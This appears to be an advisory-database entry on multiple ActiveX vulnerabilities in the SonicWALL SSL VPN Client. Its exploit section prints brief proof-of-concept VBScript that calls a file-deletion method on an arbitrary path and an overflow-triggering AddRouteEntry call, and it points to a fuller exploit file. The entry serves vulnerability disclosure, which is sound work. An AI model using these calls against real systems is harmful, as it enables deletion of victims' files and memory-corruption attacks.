SonicWALL SSL VPN Client Remote ActiveX Multiple Vulnerabilities

info
discussion
exploit
solution
references

SonicWALL SSL VPN Client Remote ActiveX Multiple Vulnerabilities

The following proofs of concept are available:

Arbitrary file deletion issue:

dim o
Set o = CreateObject("MLWebCacheCleaner.WebCacheCleaner.1")
o.FileDelete("c:\bla\bla")

Buffer-overflow vulnerability:

o.AddRouteEntry ("", "ABCDEFGHIJKLMNOPQRSTUVWX");

The following exploit is available for the AddRouteEntry method:

/data/vulnerabilities/exploits/26288-NeLaunchCtrl.html